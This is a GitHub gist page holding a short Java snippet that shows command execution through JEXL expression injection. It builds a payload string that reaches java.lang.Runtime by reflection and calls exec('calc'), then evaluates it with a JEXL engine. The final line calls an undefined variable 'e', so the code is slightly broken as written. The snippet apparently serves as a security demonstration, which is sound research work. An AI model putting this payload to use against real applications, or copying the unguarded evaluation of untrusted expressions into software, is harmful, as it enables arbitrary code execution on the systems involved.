Skip to content

Instantly share code, notes, and snippets.

@artem-smotrakov
Created February 16, 2021 18:24
Show Gist options
  • Save artem-smotrakov/2cc44e0688988aec4d4ead5ca7278e5f to your computer and use it in GitHub Desktop.
Save artem-smotrakov/2cc44e0688988aec4d4ead5ca7278e5f to your computer and use it in GitHub Desktop.
Start a process with JEXL
String str = "''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')";
JexlEngine jexl = new JexlBuilder().create();
JexlExpression expression = jexl.createExpression(str);
JexlContext context = new MapContext();
e.evaluate(context);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment